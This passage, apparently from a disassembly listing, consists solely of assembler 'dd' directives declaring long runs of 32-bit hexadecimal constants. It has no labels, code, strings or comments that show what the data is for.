		dd 1B753FFBh, 1BCDC80Ch, 0EB665E81h, 5024BF29h,	5E4E092Bh
		dd 880F4723h, 49302CA2h, 78D7455h, 9346FFF7h, 0F1EBE90Ah
		dd 30748BBFh, 554A68C2h, 0BD056E66h, 547A0D63h,	437983AFh
		dd 0D05D3EFEh, 67F95B3Bh, 8F58474Dh, 2A5F88E8h,	5B0ACF8Bh
		dd 9BBB25E9h, 8D02A458h, 8C34A3B9h, 7E0DF19h, 0F1488749h
		dd 8691Dh, 3E047477h, 67E91229h, 0D7E4BA5Bh, 22DCBD58h
		dd 0CB1285E9h, 2EE489D9h, 91DC9DEEh, 34770183h,	1158B429h
		dd 275A78E9h, 0CC8E1090h, 0E00CD3A6h, 0FF1719B9h, 64BA0138h
		dd 1A4BE7Dh, 8F12A2EFh,	5FB4539Ch, 153A802Ch, 0CDEE10D6h
		dd 65C91179h, 18540C22h, 13063BE9h, 0BF0E5BD8h,	333C205Eh
		dd 550C10A8h, 2C0C4018h, 9034CB0Fh, 0CABB9731h,	0A6C45045h
		dd 4C670213h, 7B063105h, 0C925CB80h, 35C6381Bh,	4D2333FEh
		dd 0B5A44CB4h, 0F1E82EB4h, 2F55B24h, 46FC75C5h,	0DF96DA82h
		dd 1A25FBFAh, 0F76CDDA7h, 97EEDE97h, 1577BA3Ah,	54C3F5B2h
		dd 0F3C196B1h, 0A0030760h, 6BA9AFE6h, 25621853h, 52EB9514h
		dd 8030C217h, 559B81FFh, 5E1C8C2Fh, 440B2C56h, 0D4BFC76Ch
		dd 4C7E2F15h, 77F38989h, 0E9858579h, 18014B9Fh,	0FD9CF288h
		dd 5A65102Fh, 81FE93C4h, 3ED12159h, 8E527F8h, 738270ECh
		dd 0E0762659h, 17B6C2F8h, 8261430Bh, 88CEA57h, 2540AAC2h
		dd 5BD96C88h, 455E7116h, 3B219139h, 6371FE3Bh, 0A0BCF97Ch
		dd 219F60E3h, 54C20A2Dh, 0F5B18C1h, 68F87F96h, 0BB884B4Fh
		dd 3EBAFC52h, 0F7983EAEh, 60F22AD2h, 577E9E7Ch,	60D89BDh
		dd 0A2DDBE95h, 0E0AD6CBFh, 0E9909710h, 124159E9h, 1387BC6Ah
		dd 30C976F9h, 82A1B860h, 0BDE3445Dh, 65F16E5Ch,	2D3DEE3Bh
		dd 0C8668C2Bh, 0A4054E5Ch, 3E491AAEh, 860D65DFh, 297D9468h
		dd 0DB2CB927h, 8CA7BD89h
		dd 2A5F37C1h, 21182CEAh, 5A204F63h, 69DADD58h, 148AEF4Ah
		dd 81E1C01Eh, 2CF4E980h, 53C8C0A1h, 0F80AB762h,	0E5D1F75Bh
		dd 51549A69h, 0EB5B13C9h, 0F52E2E31h, 0B8F19Dh,	40168C53h
		dd 0D3CD8F7h, 4A0903C0h, 0D85F2325h, 2040547h, 0E9BCBFA1h
		dd 0CB7C7E27h, 9F641150h, 75A7D776h, 0A43D7465h, 0C51D2C54h
		dd 33C192A0h, 0E74F284Fh, 0FE0569F1h, 0D1011774h, 215EB17Bh
		dd 383EB521h, 2883394h,	3AC0892Ch, 10A53FC7h, 0ECF4F2A1h
		dd 308E1334h, 0B74C04C1h, 0A3B00552h, 257879A8h, 0BB014EB6h
		dd 0DACE3024h, 4710895Ch, 0F1295B12h, 0F03A3119h, 18D66231h
		dd 2DBB50A0h, 27016D73h, 20A34F97h, 5ED5368h, 0E30CF0FEh
		dd 21EB2A4Fh, 2E0F2C42h, 4E250931h, 51179732h, 48CFF26Eh
		dd 401F5458h, 9E302D3Fh, 4BD60D95h, 3DFEAFC5h, 4047303Ah
		dd 0A542F9B4h, 0D4A409BEh, 8066F0D3h, 64EA38h, 0D2045AD0h
		dd 4828C72Ch, 422532E8h, 777BCA75h, 0FCE1BF0Eh,	3A01D5E9h
		dd 0FD56862Ch, 0AE2B87DDh, 0EAEB5E73h, 1F4F7E58h, 9960DE2Dh
		dd 24C409h, 2DB15FB3h, 67C13042h, 7A7561C3h, 7DD6A7B1h
		dd 0F7E10096h, 0C91D1E21h, 845879DDh, 2FFBB19h,	0FD8958C7h
		dd 8EA2D62Bh, 44DD4CA5h, 0D7E6043Fh, 0BC652359h, 0A24E253Eh
		dd 0F111C2DEh, 2ED42B5h, 9220DFC4h, 0D9292F7Ah,	32556A32h
		dd 0E98FC5B9h, 5ECBBBFCh, 0F69842D7h, 0F90EC751h, 32E137AEh
		dd 6007FA00h, 27717903h, 0EFF65AD7h, 23914C65h,	0BDC85566h
		dd 9FDE98BFh, 5D69FCAFh, 0C908FA56h, 1326ADh, 19D1B74h
		dd 1C485721h, 3F592865h, 67D7C74Fh, 9D4778A9h, 0E9DDB05Fh
		dd 0B7E49A2Dh, 36F81CECh, 6EB947C0h, 5AAEB88h, 7B18D72Dh
		dd 5ED8265h, 69E90781h,	70496E6Bh, 56165559h, 466EB025h
		dd 826EA222h, 75D2E972h, 149032A9h, 0AF9129D5h,	0DB1CA7BDh
		dd 0F58100FBh, 0E2CD37F9h, 599D0E90h, 2EDD2F1Ch, 0C2EED744h
		dd 7B435A50h, 0C00ED5EAh, 181B28BEh, 2B759D50h,	0CF6163F6h
		dd 0D4FE0B6Bh, 94E95B76h, 21CE5291h, 0A4203C5Ah, 0C06813F5h
		dd 0C5ED341Fh, 5F9C4B06h, 7DF22CF8h, 5BD3E1BDh,	0D972996Fh
		dd 37006DBh, 6E63F9CFh,	60EA4F54h, 0BE016A5Ch, 3DDD1AC1h
		dd 0B52DBF2Ch, 6ABD2D40h, 454C7F1Eh, 0D5D28B89h, 0B130819Eh
		dd 0A6C51D45h, 103D0109h, 6DB7BB53h, 4BA0A7ABh,	0CDA9C3B4h
		dd 4C3CE904h, 9CDD5E09h, 441E2D6Ch, 296F0474h, 0B5C0F01Fh
		dd 5B51CEDCh, 4E40EC60h, 0A1F1B8C7h, 5D00E67Ah,	3D1E8535h
		dd 0ACCB6E32h, 5266DCD6h, 557F62FFh, 7B959894h,	2D8402C9h
		dd 740E0841h, 0CC7E629Ah, 9E57066Dh, 725C90Fh, 20DBEF67h
		dd 1A60C8BFh, 14E2BF5Ch, 3CA856C1h, 27EAA00Dh, 584F2E28h
		dd 0C391DC4h, 47D04DDEh, 77713F18h, 2D28230Ch, 88FD7688h
		dd 0F0280811h, 0D8C9456Bh, 336B3826h, 85DE9570h, 552BC272h
		dd 58F43EA0h, 0B2C9561Fh, 0FAD882D1h, 71C10FBEh, 54631B53h
		dd 3C8482B6h, 0E4C5AAA8h, 0FD6012DDh, 0A011E5E9h, 16760D6Fh
		dd 5F5F4528h, 3582C954h, 5AB1D87Eh, 386F4A58h, 0BDFE5235h
		dd 0D6F30D4Fh, 239E3079h, 8087B7C3h, 5113C709h,	795A02B5h
		dd 49B102E8h, 9A6DAFFh,	2E1368D9h, 0BC7998DDh, 7EC2FC0h
		dd 2843D307h, 0DD2F77BBh, 822C5114h, 4DD732A0h,	8102B34Ch
		dd 333CF3CDh, 0EB2A5456h, 8D0F29DCh, 89DB67D9h,	8B17A0AAh
		dd 81297A23h, 5FEC1AD1h, 6675A11Ch, 5B30174h, 58E33034h
		dd 8F3ED188h, 30F83FDAh, 894C3DA6h, 0C6011291h,	6441CC09h
		dd 42FF8A0Fh, 5E84787Fh, 8048B45Eh, 202B7A13h, 705EDE1h
		dd 84FBDC0Bh, 2D006764h, 3289031Bh, 421EE7EAh, 0CC820E43h
		dd 57C31D2Bh, 5C459ED4h, 0E14EE082h, 0C9BA4A7h,	7E0B067Ch
		dd 56FEF41Fh, 7642623Ah, 165CDF5h, 49A5B850h, 0A270205Ah
		dd 0C1292EB7h, 3933B77h, 40F2B86Fh, 1325A08h, 0E1555FCDh
		dd 0FFC21BA6h, 5F52A879h, 1679976h, 8A5812E8h, 685100ADh
		dd 6A536116h, 92E725E9h, 5F33687Fh, 6B2C80B5h, 6F603790h
		dd 5059CDB3h, 3028581Ch, 882FC600h, 0DCB95126h,	0DE91053Fh
		dd 0F1F200EFh, 5F4A0DC8h, 20212C8h, 0B72B22Ah, 288240F7h
		dd 9F719782h, 0DA7C488h, 30E6D366h, 0F241861Eh,	9E12D376h
		dd 5CB3C834h, 92CD799Dh, 426FE090h, 87D720E3h, 3CE5530Dh
		dd 137A1C4Ah, 0CB06E6D2h, 0EF16228h, 4E68FAh, 68565574h
		dd 3F5801ABh, 0E26A2495h, 84D1F78Bh, 0AF8C2498h, 0BD681255h
		dd 278C8942h, 0E0162726h, 4F3B6814h, 584DE354h,	9821D7Ch
		dd 0C3B90140h, 170A2772h, 0FD6A2AE9h, 0E2BBD220h, 9821D3ABh
		dd 0F701F016h, 83B33ED2h, 16588A44h, 0A87F3690h, 0C481768h
		dd 9B272CBEh, 0ACFEFB27h, 4B4112EAh, 2788AEA6h,	65D117B9h
		dd 540BB830h, 6AF92C12h, 2B51E28h, 0DDE58069h, 28DC1BE9h
		dd 4421752Fh, 0EB0AD137h, 6B8772F1h, 0EAF4B4E9h, 0BCF653ECh
		dd 82E165BDh, 3BE468DFh, 0F146C1A4h, 8DEC3A71h,	0C9F150C7h
		dd 0B43DAC53h, 0CEA91776h, 7613AE5Ah, 0F0020192h, 7C9E9556h
		dd 0EC6EE915h, 2CD13DC6h, 281227CFh, 5CA72FDDh,	0D2A608D5h
		dd 0CE07772Dh, 0A6E96729h, 4D4C3237h, 0E5C104C7h, 0D3C04507h
		dd 0B93DB03h, 562E988h,	7FA77774h, 59D586C2h, 6AFD4BB9h
		dd 72F67EA8h, 7B97CB78h, 2EA5A0F2h, 7040A05h, 6BE42964h
		dd 58188AD0h, 150C0BF6h, 0F4E83F94h, 5401FFDBh,	0EE56F69h
		dd 0D2080409h, 0D6552BECh, 685260E7h, 79950891h, 0FA7392D3h
		dd 7FE9FB05h, 0B2F757B0h, 175424BBh, 9BFD9EDDh,	740508D7h
		dd 9E8CBA1Ch, 44CEF3C0h, 0B6466021h, 59E2377Eh,	690B58B0h
		dd 70D573h, 0A32A1E16h,	5C15B240h, 5C9C9BDh, 0F81AF857h
		dd 9F459A4Fh, 0C35106F2h, 70A82E2Eh, 0B6F7FFE5h, 5C982A17h
		dd 2CD007D8h, 0C935A3CEh, 0EED11413h, 803043ADh, 0F221380Eh
		dd 828B95A0h, 0B2C18380h, 529C0B1Ch, 0B2041F17h, 0DCB103FCh
		dd 9B06EBC0h, 13C49DE1h, 15F2FEC1h, 538B5D2Ch, 88390416h
		dd 0D3F32FC6h, 0B05D2F67h, 0FA01B6B7h, 12E92A4Fh, 0FD1EA285h
		dd 7D9D463Eh, 570BD11Ch, 0E6158868h, 4F4430A8h,	0EB015FAAh
		dd 0EF247BB0h, 0DB9C9DD7h, 6D0BD392h, 7650D81Ah, 44514EB2h
		dd 8B29536Ah, 0A1F51E06h, 52F1370Ch, 1DDEB55Dh,	95B15527h
		dd 52FF2B37h, 2023C04Bh, 0C097D55Eh, 3105C9FCh,	81D71E7h
		dd 0FAAC016h, 1FE50F97h, 930C4414h, 0D19E650Bh,	15E126Ch
		dd 47A630A0h, 0A2FD2B67h, 8FD3E909h, 0BA88CE54h, 91B2875h
		dd 7351016Eh, 35040C76h, 0D98413F2h, 0C13E1EAEh, 0E94B07EBh
		dd 0CD062A26h, 36451ADh, 1DDF2328h, 31E945B9h, 7B48210Eh
		dd 80118B4h, 8CDBE9F1h,	1F0EE824h, 7BEFDD30h, 8C34876h
		dd 5417BAC9h, 0A786DD04h, 0B4059551h, 45B04Fh, 0B1017408h
		dd 72B7E931h, 0FD9FA010h, 64CFBE2Ah, 0D2ADAA5Dh, 344968CFh
		dd 41550919h, 446E2786h, 0C1861E9Dh, 0F80ACA25h, 3F803F6Ch
		dd 4AC9FCFDh, 7E0CB1EBh, 7600B116h, 2249B4F5h, 969836h
		dd 9BBB5302h, 3147272Ch, 45CADD62h, 90467DB1h, 0F10AEC25h
		dd 7F508BEBh, 0A9B09FD6h, 0BDC72BE9h, 22A7DE73h, 77172C06h
		dd 0F3278DE6h, 1096F7C9h, 859580Fh, 0B36BB8FDh,	0D61C452h
		dd 77BA00C0h, 0F413BF6Ah, 0F2745BCEh, 0EE68835Dh, 0E2AB8405h
		dd 714EC794h, 0F68162C0h, 0C8081620h, 8E450837h, 0C012C22Fh
		dd 27799169h, 0C158756Dh
		dd 0B5660AEAh, 0B0CB7288h, 9D681787h, 0C0B6EC44h, 0E28840B4h
		dd 0B6D07358h, 0CD12439h, 0B536A3BDh, 0EF4B9F70h, 0F3808CBAh
		dd 73249AB9h, 22A6CE01h, 79301E26h, 88082709h, 16B535F0h
		dd 0EE09082h, 77A3473Fh, 2B4159C9h, 41997006h, 74580C16h
		dd 694605BBh, 0D6D1491Fh, 0B5EEE800h, 3E50701Bh, 0DF050886h
		dd 77E9E799h, 0C114CCBCh, 8B10FFEFh, 0DE88033Ch, 97F0865Bh
		dd 93CB30E3h, 510827D9h, 68DECEB0h, 1A4E3424h, 87A30F69h
		dd 0E21BE9D9h, 93ECF7FCh, 0D14CFC00h, 1BE58149h, 27F0241Ch
		dd 0A50E8572h, 0C6918013h, 2609254Dh, 713B91E9h, 5FC5286Ah
		dd 0EE7D12A7h, 0F0F47399h, 0EE71CFF6h, 366C0D3Eh, 0E962F6CFh
		dd 0A6C95457h, 4B50015Dh, 0F04323EFh, 18B7AC96h, 826AF69Eh
		dd 0D0032360h, 0DFD9E5E7h, 0F18008E8h, 0FDEDC473h, 0C1C3F728h
		dd 2C3F58EBh, 0FBC99F07h, 69B05CFEh, 0AB57631Ah, 0A4460D1h
		dd 7DB75341h, 5CC7FE39h, 144A1386h, 6AB329BBh, 50400329h
		dd 5E2B1916h, 17BC8797h, 90E93180h, 7E5D0282h, 1DF1A735h
		dd 1223D825h, 0F3727C68h, 7A167C89h, 0CA1115FEh, 0C3007AB3h
		dd 353C5B45h, 4E261AE8h, 0E9080701h, 1C773B6Dh,	6A229572h
		dd 6DD35C62h, 85080E14h, 0DD00F818h, 0C84C97BDh, 0CF20B740h
		dd 5D3799FAh, 23E8E912h, 2FE2FDF4h, 80788F47h, 0F646BB09h
		dd 0B9A0068h, 807AF333h, 0F027AB3Eh, 0D794899Ch, 0E98B7051h
		dd 0D0D31225h, 805F7E61h, 2026C280h, 0A5399530h, 16BEC6E8h
		dd 0A175E950h, 41AF3E62h, 0EC6EDD3Ch, 7E55C40Dh, 0D44A8F25h
		dd 6CAF58A7h, 2737695h,	0C8A3D611h, 0EDEB02FDh,	0D5742B47h
		dd 62AF4A25h, 0B378753Bh, 0A522C59Fh, 0AEB04510h, 4B8914B5h
		dd 5CB20B77h, 9D0C757h,	0DF4243E9h, 0B969F9D5h,	0B74546B1h
		dd 5CEFAF85h, 1DD983BFh, 0BEF260DDh, 0D99FA250h, 0D9DFC93Ah
		dd 0DB2E33Bh, 55515409h, 0B5936857h, 0E1C10527h, 0AC6FE905h
		dd 5024FB1h, 0EA013F3Bh, 8D04892Eh, 0E13F1E55h,	6F1E7BE7h
		dd 0A6C464D3h, 7D0287F8h, 11FBC5Ah, 0B0E96C7Dh,	490E09ACh
		dd 85E041A4h, 977D3A30h, 0F6E88BBFh, 2290456h, 4CF0AF37h
		dd 9F9E3F2Dh, 0D5D5E9BEh, 62A086BEh, 802C537Ch,	0A4A54108h
		dd 2F946930h, 0FBB564ABh, 0E98EEAB6h, 2932EB4Ch, 2EB8C651h
		dd 1A8DF8B0h, 0C63F63Bh, 7EA4DE56h, 7555E227h, 7B634D59h
		dd 0C07E4FEAh, 38532691h, 0F7FA6176h, 0EEECF3FDh, 28A4F9B2h
		dd 342FE9E0h, 0E6D68F9h, 0A8578117h, 0BD3D837h,	25BE9D00h
		dd 1254D719h, 0FA3C8FE9h, 0FE10B9E2h, 6CAC4B78h, 0AE2DFFF4h
		dd 9666E92Ah, 0C26ED0FEh, 8525E951h, 7FDEC824h,	0C08B7F73h
		dd 327BE50Ch, 0D7510107h, 0C0806E6h, 93201482h,	69BE2F74h
		dd 0F46175B0h, 485DE8B1h, 833B3328h, 222D04FBh,	0C00F4ACBh
		dd 2C441A4Eh, 0C5295F14h, 580840A7h, 0EFA15595h, 81C25BE9h
		dd 1F75CE9Dh, 0B8703048h, 451313DAh, 4A2EA87Ah,	3E160EF4h
		dd 2F67E71h, 0FB87A7C3h, 0BAC009F6h, 0B2EE94Eh,	0E093CAAAh
		dd 58573C80h, 4F4A5F35h, 0C992F444h, 79F26E68h,	7255199Ah
		dd 392E2411h, 685150E3h, 66737227h, 0E3CA500Ch,	0B5E91A08h
		dd 0CE591A22h, 67C9C181h, 0AF605E79h, 0B8AB850h, 58468B6Dh
		dd 1C6AF5h, 984069E3h, 60053F0Bh, 224B91Eh, 72A9225h, 0EEA92E0h
		dd 4BCD3180h, 13F1BC59h, 0A680E7D1h, 90AC3B2Ch,	771816DCh
		dd 3051026Eh, 0ACDEFEF5h, 6C75614Eh, 0E8DB61F8h, 98435D76h
		dd 82AF7ADDh, 4B39F45Eh, 0FFBA17AAh, 0AA2AA28Ch, 4D7C55D7h
		dd 1364AE59h, 0AAC2EC59h, 71E377B5h, 0DB684709h, 92DF5678h
		dd 0E288BA5Ch, 282D9627h, 80E4F8C4h, 3B02B7BEh,	9E687874h
		dd 5F187713h, 749D5C4Eh, 2009E574h, 0FEE888DDh,	8243FB99h
		dd 0BB974A33h, 0A9A59F40h, 12317C52h, 0E03DE9F7h, 7D9D66E2h
		dd 765737B2h, 14E9615Ch, 68415080h, 67C57A55h, 31FB376Eh
		dd 6E72A94Ch, 0C52CFB9Ah, 5CE040EFh, 0CDA042ACh, 15276AB5h
		dd 0AC195134h, 0B9360528h, 68FD4576h, 4A0ABCC9h, 5840DAAAh
		dd 21F62DFDh, 7F69F719h, 40027896h, 5F48024h, 47F4C4FEh
		dd 306A2B55h, 2C809636h, 0C8283DDCh, 242998F4h,	0A48620EBh
		dd 630908F1h, 0F1060727h, 5FEF0A92h, 0DC272FD1h, 0FB78A864h
		dd 0E10FD07Eh, 0A04A5A1Bh, 7D03DAC0h, 0E1434AEDh, 0A40368F6h
		dd 12FC8456h, 0A8AFB605h, 0D3E484B0h, 76B15F25h, 7F412AE8h
		dd 332A7E46h, 275AC9D8h, 58DE5426h, 156F7900h, 921AE957h
		dd 0FAF8B0D5h, 6B9617E7h, 0EF950F0Eh, 2E757A22h, 59AB9360h
		dd 0AC1E5524h, 93742502h, 2FF7781Ah, 0CF64602Dh, 9208BB04h
		dd 0B8EE235Fh, 509C8B98h, 658702Eh, 0E2805BDAh,	1A6F182Ch
		dd 4DC91DDDh, 0AFDC535Eh, 5550B99Ah, 0CCC7E01h,	0F281EAD1h
		dd 0DC2B4FFh, 0AC4C7789h, 52BE6AA0h, 56612C0Ch,	5F6489F7h
		dd 2B4D29Bh, 75743660h,	3562DD00h, 4DB9EFBCh, 0C8C65E01h
		dd 3FB85D29h, 0B7D5DABDh, 445BFB58h, 5F50580Bh,	5C84C747h
		dd 0CCEFC821h, 7D4BE926h, 0F968D4C0h, 1C5DEC6Ah, 86DE875Eh
		dd 8D2F7D3h, 87F010D3h,	8B6E0D45h, 7B8E536Ah, 0B72BF0F1h
		dd 3768C558h, 0E9CF30EEh, 3BC18DA6h, 2D725CEBh,	7C69717Ah
		dd 0C5238735h, 40C4251Dh, 3363BE80h, 9A30FDDBh,	0B8EDE605h
		dd 7A9148A2h, 4865B981h, 0C9E6206Bh, 3A4D3B0Ch,	12AB0C28h
		dd 1E386F25h, 940E87B5h, 0C384F927h, 0DB6FC89Ch, 31FEEE26h
		dd 3253FF6Fh, 68C254ACh, 9051522Ah, 20BEDB7h, 7473EC1Eh
		dd 3563629Bh, 0C27A9F5Eh, 0D2CAD707h, 0A0E52EC1h, 132D3C7Ah
		dd 16212205h, 0FD92F7C5h, 0DD9E29F5h, 5C17B75Ah, 0C0AF2D58h
		dd 3E0D5A65h, 7B290C12h, 0F7F406FFh, 2020AD8h, 14B1BF57h
		dd 943DF76h, 41DF47CAh,	0B8489947h, 38FC97C3h, 0B9BBA63Dh
		dd 1627B887h, 81BE1304h, 755DC809h, 0A5942AA8h,	8B30C2A9h
		dd 90E952DEh, 0A53FDDB4h, 0FBB78521h, 901DB3BAh, 4C250486h
		dd 50AE71E3h, 57550887h, 0D3E2A22Bh, 0E91735CAh, 64DA4BA3h
		dd 52555EF8h, 0A52D79ACh, 11D8C246h, 2575948h, 247B4D38h
		dd 207B5E37h, 82D39707h, 0E419A10Bh, 805B6BF3h,	98F7D80Bh
		dd 77B50CAh, 83454BCCh,	0D587F2EDh, 0CCA6AB4Bh,	4C8D0E1Ch
		dd 0E9EE2941h, 0E07841A4h, 8A552CAh, 870E27B7h,	8C2CE4F3h
		dd 55C48D89h, 293D32A6h, 88BED4Eh, 69160E7Bh, 985EBDF0h
		dd 6F4A1856h, 5AD2F4C0h, 0A0CAD4BCh, 0CA52A102h, 0C2C9606Eh
		dd 2EEF3055h, 25075F38h, 49FF405Bh, 280056F7h, 496E37ADh
		dd 6836BE04h, 82AA6A6Dh, 9FDACD2h, 2F00CDB6h, 0B57BFEB1h
		dd 0E0EB6C57h, 0D625019Fh, 2D14FD5Ah, 29E5CE00h, 68521625h
		dd 0FA245DD4h, 0F82B7F80h, 6225E912h, 0F7946803h, 9D25279Ch
		dd 91023B7Eh, 40302415h, 7710A536h, 75D6956Ch, 1CD00820h
		dd 98E91F14h, 9E40D66Ch, 0BF3E4A08h, 26BC065Eh,	2208284Dh
		dd 57BE013Ah, 283C1F7Fh, 0E87F7371h, 1160CE25h,	8A720873h
		dd 58E3FE10h, 5B2F15F8h, 258D5812h, 67ECDF02h, 9A105D97h
		dd 0C19686E9h, 0FCA15916h, 937CEE2Eh, 0AE084EA1h, 7EB1DD74h
		dd 5599EC10h, 1034FB80h, 90B416Bh, 9D0CEC24h, 0D21D33BFh
		dd 68B1E806h, 0CD205BBAh, 3C8FF90Ch, 0CBAA4FB8h, 5E9093Ah
		dd 9ED2B1Ch, 637E2DEDh,	0A5BE6F45h, 605D3497h, 0DECEAE9Fh
		dd 265B4304h, 22513EACh, 5C4C89E0h, 2F7A5AFEh, 6CCC31Bh
		dd 0CF5A7D98h
		dd 0B35BE7B7h, 3EEC970Bh, 0A06FD041h, 17092FF6h, 0D55D51E5h
		dd 0F0219E90h, 0C48B3BDh, 0E07AE906h, 0DD48F720h, 668001DAh
		dd 0EB897446h, 1651AF74h, 0EE5FD548h, 0DC074D4h, 180AFDECh
		dd 6154BDE9h, 0C9955DE8h, 5564559Ah, 7BF02C68h,	4E6A48h
		dd 37E6295Bh, 0BD647BBh, 46617ABCh, 9446F587h, 2F34506h
		dd 28296EDEh, 2DB4E04Fh, 7A6C206Bh, 54773408h, 461F0523h
		dd 0B49A0902h, 0BA00D1C2h, 37F7125Fh, 0AF3053B5h, 0D12D4AF2h
		dd 0EFD7DE45h, 0FA818B65h, 0BED8A8Ch, 3135B755h, 0EAC04D92h
		dd 0E8620DE9h, 1962A0E3h, 0E7A03F50h, 5B8840B8h, 0E91BE7E8h
		dd 0B359A055h, 12DC775Dh, 0AB1C8176h, 0D0CD49F0h, 0C6400B8Ah
		dd 970513CEh, 0AA0244Bh, 2F455A08h, 5F043C55h, 4B42BC68h
		dd 5B848EFEh, 0E2265EB6h, 0E57DA70Eh, 0E1FD0D35h, 534980F0h
		dd 0AD761768h, 0B45B5A45h, 740B6543h, 0DE296FFCh, 250CC8D5h
		dd 0D12D0954h, 14E967EEh, 966E482h, 6634E07h, 0D3D2D40h
		dd 915FDF38h, 28EF47Fh,	0AEDE5505h, 0BF0B123Dh,	0C639E891h
		dd 2AC8BE03h, 21173310h, 0ECAD5EF7h, 546E0B76h,	0F7841FF1h
		dd 5A68D828h, 0FBFE840h, 61624890h, 0D9608A49h,	0D52CF75Dh
		dd 0DCDD595h, 0CC384B39h, 0E130AB5Fh, 3059C820h, 5E25F131h
		dd 104EB268h, 0F880DC99h, 0EA416DAh, 0E9162A05h, 0BAA1F15Bh
		dd 82326A30h, 0B227B090h, 0B2BF10D3h, 12AB5FB2h, 81F7EF2Dh
		dd 67165F94h, 0E00E90Eh, 605BD987h, 82F681CEh, 0E4A8279Dh
		dd 0B552B660h, 5CB011BDh, 200844C2h, 919EE0F5h,	0B5FCA3C4h
		dd 0EBD9274Fh, 51D3ABABh, 0F409B724h, 0C0FB7DC5h, 8868E9C1h
		dd 0D731268Bh, 17EC1CB8h, 0A407B4B9h, 0C1E2B278h, 811942EEh
		dd 6ACD4FA5h, 0F8E8D7D6h, 1820B4Ch, 0FA715CFFh,	8555DBFBh
		dd 0DBE0FBCDh, 0F8549772h, 8014F06Bh, 0BE82F748h, 0A995675Ch
		dd 159827EEh, 67AE784Bh, 0C49EB3A5h, 4FE4144Ch,	14908B98h
		dd 0C177402Dh, 22463F00h, 0B32AE956h, 0AB2C30C7h, 891AF75h
		dd 1830FA89h, 9AF2F4DAh, 0F55955BFh, 67645F45h,	0A4BEC2D5h
		dd 595AE982h, 0C713A884h, 82BFE7BBh, 0D456A0E9h, 0ADCC88BFh
		dd 5897BA00h, 12BD0E1Fh, 0AAA922F3h, 61427713h,	0D7096968h
		dd 35F9EF18h, 0E1DF2327h, 0C17A26E5h, 3EE494B4h, 52DC6661h
		dd 1BC2E00Dh, 48542B92h, 0DE02BDBAh, 113EC90h, 7B7E5DEEh
		dd 0FEF2DC62h, 0D684133h, 0A19D3D5Bh, 6C249171h, 0E55258CFh
		dd 8A30E612h, 7D5F6B08h, 0B66C3C00h, 0E92F413Bh, 300C8311h
		dd 0DD73BBD3h, 0AA4A04A9h, 0DD891D07h, 4454EFD2h, 35C30EC9h
		dd 0CFCF14D7h, 4B34663h, 0D2D91804h, 4EA9D58h, 92ACB4Fh
		dd 42106066h, 35E282DFh, 306F7B75h, 583CE9A7h, 17F34797h
		dd 62EB0589h, 0A31BB9Ch, 2C01D9A2h, 7BC76A18h, 45B65940h
		dd 0E4C63180h, 0D828CF06h, 0B34803E9h, 0B2BAD370h, 82FAD202h
		dd 0F0DF2D8Ah, 0BC494FFh, 0CED5D672h, 0BD3F96CEh, 0EAA9D325h
		dd 580DE177h, 0CB8ABC6Ah, 642E5722h, 0B97799CEh, 130784E7h
		dd 0BC9E0112h, 2A307A62h, 0F8659E13h, 0F5434D9Ch, 0FA5B7263h
		dd 62BA2528h, 52D2B716h, 7C81C1D5h, 953A51E8h, 0E92099F5h
		dd 8334ECEDh, 0FA5C0FF1h, 0CE661521h, 0E23DDB46h, 62B31D25h
		dd 1ED2F282h, 6A835D2Dh, 0A975DF8h, 623900EAh, 0FA01DE7Bh
		dd 68CFE917h, 533C7FA9h, 5D29B716h, 72763266h, 112EF8C0h
		dd 0DF400825h, 0A1314921h, 0EB367054h, 0EF815660h, 4EDAF6F3h
		dd 408DB8EEh, 9E09E617h, 804CD05Ah, 0AC0A7139h,	737EB578h
		dd 66058D10h, 0BD640F68h, 0FC2D773Bh, 80307179h, 52505319h
		dd 882640B2h, 420BB3D4h, 5199DCEAh, 34C12456h, 78E43712h
		dd 7409FECh, 72CD5889h,	6803E44Ah, 1827C7A6h, 0FF52A620h
		dd 4BB2F603h, 0AEF2D212h, 0C924747Ch, 0A40EEF2Dh, 462F1314h
		dd 155A3554h, 0E3F49A2Ah, 0A9EEEB05h, 0D7AC019Ch, 0F0E88316h
		dd 282F804h, 7E894CC8h,	0F6556172h, 82276141h, 0EC7C62E5h
		dd 1761F742h, 0B8567B0Eh, 0BBB0D2ACh, 0B6722372h, 0CB04437Fh
		dd 37453A39h, 0FE1F8A80h, 210C358Dh, 77BD008Ah,	0E92F294Ah
		dd 2863F650h, 21F81C4Fh, 3F3AD3B7h, 5DDBE112h, 402AA321h
		dd 20C20101h, 6B12D06Dh, 49AE5C91h, 64814E51h, 0EECF7994h
		dd 57E0067Fh, 97BC7EF8h, 0B27F66C6h, 0EE331388h, 0E8291458h
		dd 5D04072Dh, 0D8075568h, 574BCEEAh, 1A9D888Ch,	8A72BD22h
		dd 4A4E4740h, 0C2B6E92Dh, 818A7EBDh, 0B55166CCh, 0E10E9BCAh
		dd 1AE9E906h, 0ABD7122Ah, 5648498Bh, 0BFE05AE2h, 0F8B41A4Ch
		dd 4AC06163h, 2581ADDBh, 0C44FD5Fh, 0FD1CE912h,	6D351101h
		dd 2DC8A87Ch, 7F46045Ch, 0AAC5219Ch, 0FB4C6561h, 0BDB81F04h
		dd 7B8461C1h, 0E2281A05h, 0F79883h, 2F9EB824h, 7CBA6241h
		dd 25064816h, 3F1E3800h, 1629338Ch, 0E078E9CAh,	4D48455Ch
		dd 566B0568h, 0EE08C936h, 17011722h, 8956BFE3h,	0AB0CC5AFh
		dd 2CACAA2h, 2C200A6Ch,	48796A1h, 0BEDB2866h, 0FEA26CFDh
		dd 0F58891D6h, 272026DBh, 0F0BBA9F5h, 443696C1h, 804CB85Eh
		dd 1A15C181h, 0D778626Eh, 665FBB87h, 565F0979h,	0A4846852h
		dd 0E508EBADh, 98BE0F86h, 0A728C307h, 0F0F31CD2h, 82FB054Ah
		dd 5D45E31h, 7F44604h, 490EE9C0h, 184561CAh, 6AE07B3Bh
		dd 806FD89h, 814821Ch, 2833208Dh, 9C821858h, 8EC3BFCEh
		dd 260E164Dh, 82016FBh,	15F7E913h, 0F07F365Dh, 0FB6C4867h
		dd 7FBC83D2h, 6CC0D559h, 5492366h, 21E9F501h, 30ABAD27h
		dd 0FF2D065Dh, 16CC3F6Eh, 8576D9A4h, 0B9104068h, 0F4A696CAh
		dd 4E73F10h, 6ECD6853h,	27E69AAFh, 0C2C2B45Bh, 0DFAFE95Fh
		dd 4F2564DDh, 7A22E5BAh, 0C83E6EB5h, 3812952Fh,	3A2D4DA1h
		dd 6C2CFB2Bh, 8E2D49E9h, 0D6F74E0Dh, 0E09BE804h, 0B4C8FE4Ah
